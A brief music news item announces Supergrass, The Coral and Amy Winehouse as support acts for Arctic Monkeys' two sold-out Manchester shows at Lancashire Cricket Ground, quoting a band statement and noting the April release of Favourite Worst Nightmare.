Supergrass, The Coral and Amy Winehouse will support Arctic Monkeys for their shows at Lancashire Cricket Ground.
An Arctic Monkeys band statement confirmed: "When we decided to do our own event, we wanted to play with people whose music we love and just make it a really fun day out for the fans.
"Supergrass, The Coral and Amy Winehouse are all amazing live acts and three of our favourite Artists.
"We're really looking forward to playing together. It's going to be two days of great music."
The sold out Manchester shows on July 28 and 29 will follow the release of the second album, Favourite Worst Nightmare, on April 23.
